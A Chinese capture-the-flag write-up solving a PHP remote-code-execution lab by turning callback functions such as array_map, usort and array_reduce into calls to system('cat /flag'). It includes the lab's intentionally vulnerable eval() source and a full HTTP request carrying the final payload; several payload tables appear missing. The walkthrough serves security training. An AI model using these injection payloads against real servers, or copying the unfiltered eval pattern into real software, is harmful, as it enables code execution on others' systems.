HelloCTF RCE-labs：PHP 代码执行函数 Writeup

靶场地址：http://80-efabd682-8919-44fc-812c-b9df6c7bdaf6.challenge.ctfplus.cn/ 出处：HelloCTF RCE-labs（探姬 / ProbiusOfficial） 难度：入门 | 方向：Web / RCE 最终 Flag：Geesec{7e292ec7-1526-4f7c-ae0d-9dc77b829904}

〇、题目页面完整源码

页面访问时通过 highlight_file(__FILE__) 直接回显，以下为完整源码（未做任何改动）：

<?php
include ("get_flag.php");
global $flag;
session_start(); // 开启 session
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : PHP代码执行函数 ---

除开在一句话木马中最受欢迎用以直接执行PHP代码的 eval() 函数，PHP还有许多 回调函数 也可以直接或者间接的执行PHP代码。

在该关卡中，你将会从能够执行代码的PHP函数中抽取一个，你需要填充函数的内容来执行某些代码以获取flag（tip:flag存储在 $flag 中,当然你也可以尝试其他方法）。
*/

function hello_ctf($function, $content){
    global $flag;
    $code = $function . "(" . $content . ");";
    echo "Your Code: $code <br>";
    eval($code);
}

function get_fun(){

    $func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];

    if (!isset($_SESSION['random_func'])) {
        $_SESSION['random_func'] = $func_list[array_rand($func_list)];
    }

    $random_func = $_SESSION['random_func'];

    $url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);

    echo "获得新的函数: $random_func ，去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

    return $_SESSION['random_func'];
}

function start($act){

    $random_func = get_fun();

    if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
        session_unset();
        session_destroy(); 
    }

    if ($act == "submit"){
        $user_content = $_POST['content']; 
        hello_ctf($random_func, $user_content);
    }
}

isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>

一、题目背景与源码

打开页面，源码直接 highlight_file 甩在脸上（完整源码见上节），题目说明：flag 存在 $flag 变量中；页面会从 10 个「能执行代码的 PHP 函数」里随机抽一个，你要填的是这个函数的完整参数列表。

1.1 源码逐模块讲解

模块一：入口与 flag 加载

include ("get_flag.php");   // 引入定义 $flag 的文件（实际是读 /flag 文件）
global $flag;               // 把 $flag 声明为全局变量，函数内部才能拿到
session_start();            // 开启 session，用来记住"本次抽中了哪个函数"

模块二：核心漏洞点 hello_ctf()

function hello_ctf($function, $content){
    global $flag;
    $code = $function . "(" . $content . ");";  // ← 漏洞核心
    echo "Your Code: $code <br>";               // 回显拼好的代码
    eval($code);                                // ← 把拼好的字符串当代码执行
}

拼接逻辑：$function 是随机函数名（你控制不了），$content 是你 POST 上来的内容（原样拼入，无任何过滤）。所以最终执行的是：

eval("随机函数名(你填的全部内容);");

关键认知：函数名虽然随机，但你控制的是括号里的整个参数列表。所以本质是十道小题：「给这个函数喂什么参数，能让它执行代码」。

模块三：随机抽函数 get_fun()

$func_list = ['eval','assert','call_user_func','create_function','array_map',
              'call_user_func_array','usort','array_filter','array_reduce','preg_replace'];
if (!isset($_SESSION['random_func'])) {
    $_SESSION['random_func'] = $func_list[array_rand($func_list)];  // 首次访问随机抽
}

模块四：路由 start()

if ($act == "r"){ session_unset(); session_destroy(); }   // 重抽函数
if ($act == "submit"){ hello_ctf($random_func, $_POST['content']); }  // 执行
isset($_GET['action']) ? start($_GET['action']) : '';

两个开关：GET ?action=r 重抽；GET ?action=submit + POST content=xxx 触发。注意 action 的值必须一字不差是 submit，空值/拼错都不会进 if。

二、核心概念：什么是「回调函数」和 callable

PHP 里函数名本身可以当字符串传：

$f = "system";   // 把函数名存成字符串
$f("ls");        // 等价于 system("ls")

凡是有参数声明为 callable 的函数，都可以接收两种东西：

1. 字符串 'system' → PHP 会去找名为 system 的函数来调用；
2. 数组 [$对象, '方法名'] → 调用对象方法（本题用不到）。

本题十关里除 eval、assert、preg_replace（/e 模式）外，全是回调系函数——通用打法就是把回调填成 system/readfile，把命令/路径塞进会被传给回调的数据参数里。

另一个实用替代：flag 其实是根目录文件 /flag，所以除了 system('cat /flag')，任何能传文件路径给回调的场合都可以用 readfile('/flag')（不需要 shell）。

三、逐个函数拆解：定义、原理、payload

环境：该靶场为 PHP 7（从报错措辞 “assumed ‘cat’ (this will throw an Error in a future version)” 可判断）。所有 payload 均填在 POST content=，请求发到 GET ?action=submit。

3.1 eval —— 语言结构（本题抽中过）

定义与原理

eval(string $code)

eval 不是普通函数，是语言结构（像 echo、die 一样），作用是把字符串当作 PHP 代码编译执行。它就是一句话木马 eval($_POST[cmd]) 的本体。

关键约束：eval 的括号里必须是一个完整的表达式。本题拼接后是 eval(你的content);，所以你的 content 必须自己构成合法表达式。

payload 与构造对应

参数位对应——为什么这样填

为什么整个用双引号包起来？如果不包，content = system('cat /flag'); 会拼出：

eval(system('cat /flag'););   // 函数参数列表里出现分号 → 语法错误！

包上双引号后，eval 收到的是字符串字面量，分号在字符串内部，合法。

引号规则：外层双引号（PHP 字符串），内层单引号（shell 命令），两层不能混。

3.2 assert —— 断言（现代 PHP 上基本是坑）

定义与原理

assert(mixed $assertion)

设计用途是调试断言。历史上：当 $assertion 是字符串时，PHP 会像 eval 一样把它当代码执行（这就是它曾被视为危险函数的原因）。但 PHP 5.3/7 引入配置项 zend.assertions：

payload："system('cat /flag');"（和 eval 同构）

参数位对应——为什么这样填

实测结论：本靶场环境 zend.assertions=-1，payload 静默无输出（我在解题时第一发就栽在这）。抽到它别恋战，?action=r 重抽，或换 system 回调链思路。

3.3 call_user_func —— 把回调当函数调用

定义与原理

call_user_func(callable $callback, mixed ...$args)

作用：以 $callback($args...) 的方式调用回调。它存在的意义是「函数名可以是运行时决定的变量」，本质上就是间接调用。

payload 与构造对应

参数位对应——为什么这样填

这是十关里最直白的一关：回调位填命令执行函数，数据位填命令。

3.4 create_function —— 代码注入逃逸（PHP 7.2 起废弃）

定义与原理

create_function(string $args, string $code): string

作用：根据参数字符串创建一个匿名函数并返回函数名。内部实现是拼接后调 eval：

eval('function __lambda_func(' . $args . '){' . $code . '}');

注意 $code 被直接嵌进函数体大括号内部。而且这个函数创建后没人调用它——所以函数体内的代码不会自动跑。想执行代码，就必须逃出函数体：让函数体提前闭合，把我们的语句留在全局位置。

payload 与构造对应

参数位对应——为什么这样填

逐段拆：

这是 CTF 经典的「闭合逃逸」手法，和 SQL 注入里补 ' 闭合、反斜杠转义逃逸是同一种思维。

3.5 array_map —— 对每个元素套回调

定义与原理

array_map(callable $callback, array $array, array ...$more)

作用：把回调逐个应用到数组的每个元素上，返回结果数组。回调每轮收到一个元素：callback($item)。

payload 与构造对应

参数位对应——为什么这样填

注意参数顺序：回调在前、数组在后（和 array_filter 相反，别背混）。

3.6 call_user_func_array —— 用数组传参调用回调

定义与原理

call_user_func_array(callable $callback, array $args)

作用：调用回调，但所有参数打包成一个数组传入。等价于 call_user_func($callback, ...$args)。

payload 与构造对应

参数位对应——为什么这样填

和 3.3 的区别只是「参数散着给」还是「装数组里给」。

3.7 usort —— 用回调定义排序规则（坑：数组至少两个元素）

定义与原理

usort(array &$array, callable $callback): bool

作用：用户自定义排序。回调每轮收到两个待比较元素 callback($a, $b)，返回正/负/零决定谁在前。

payload 与构造对应

参数位对应——为什么这样填

为什么数组必须放两个元素：只有 0 或 1 个元素的数组无需任何比较，回调一次都不会被调用。这是 usort 关最容易漏想的点。

3.8 array_filter —— 用回调当筛子（解题时抽中）

定义与原理

array_filter(array $array, ?callable $callback = null, int $mode = 0)

作用：遍历数组，保留回调返回真值的元素。回调每轮收到一个元素：callback($value)。

payload 与构造对应

参数位对应——为什么这样填

和 array_map 的区别：数组在前、回调在后；且回调返回值被当布尔用（system 返回末行输出，无所谓，命令已经执行、输出已经 echo 了）。

3.9 array_reduce —— 折叠归约（第一次解出本题用的）

定义与原理

array_reduce(array $array, callable $callback, mixed $initial = null): mixed

作用：把数组折叠成一个值（经典场景：数组求和）。迭代规则：

$carry = $initial;              // 第一轮：$carry = 初始值
foreach ($array as $item) {
    $carry = $callback($carry, $item);   // 回调收到 (累计值, 当前元素)
}

payload 与构造对应

要点：命令不在数组里，而在**第三个参数（初始值）**里——因为它才是第一轮回调的第一个入参。

参数位对应——为什么这样填

对比 array_filter 就能看出本质差别：array_filter 的命令放在数组元素里（$value 直达回调），array_reduce 的命令放在初始值里（$carry 直达回调）——因为两个函数把数据送进回调的通道不同。

3.10 preg_replace —— /e 模式（PHP 7 已移除，直接重抽）

定义与原理

preg_replace(string $pattern, string $replacement, string $subject)

作用：正则替换。历史上，pattern 带 /e 修饰符时，匹配到的部分会用 $replacement 作为 PHP 代码执行——老 CTF 经典考点。但 PHP 7.0 起 /e 修饰符被移除，使用会直接报错：

preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead

它又不像其他函数那样有 callable 参数（callback 版本是另一个函数 preg_replace_callback）。所以在本题 PHP 7 环境下没有可行 payload，抽到就 ?action=r 重抽。

（仅 PHP 5 老环境才可用：'/x/e','system("cat /flag")','x'，留作知识储备。）

参数位对应——为什么这样填（PHP 5 视角）

四、函数总表（复习核心）

通用心法：查手册找签名 → 认出 callable 参数位 → 回调填 system/readfile → 把命令/路径塞进会被传进回调的那个参数 → 引号规范（PHP 层引号包字符串，shell 层用另一种引号）。

五、我的踩坑复盘（解题实录）

判断请求是否生效的速查：响应里有 Your Code: → 代码已执行，看有无 Warning/Error 定位 payload 问题；没有 Your Code: → 回头查 ?action=submit 和 Cookie。

六、完整解题流程（复现步骤）

最终 payload（以 array_reduce 为例，解出本题）：

POST /?action=submit HTTP/1.1
Host: <靶场地址>
Cookie: PHPSESSID=<你的会话ID>
Content-Type: application/x-www-form-urlencoded

content=[1],'system','cat /flag'

flag 来源补充：get_flag.php 内容为 file_get_contents("/flag")——flag 就在根目录 /flag 文件里，所以 shell 的 cat /flag 和 PHP 的 readfile('/flag') 都能直达。

七、汇总表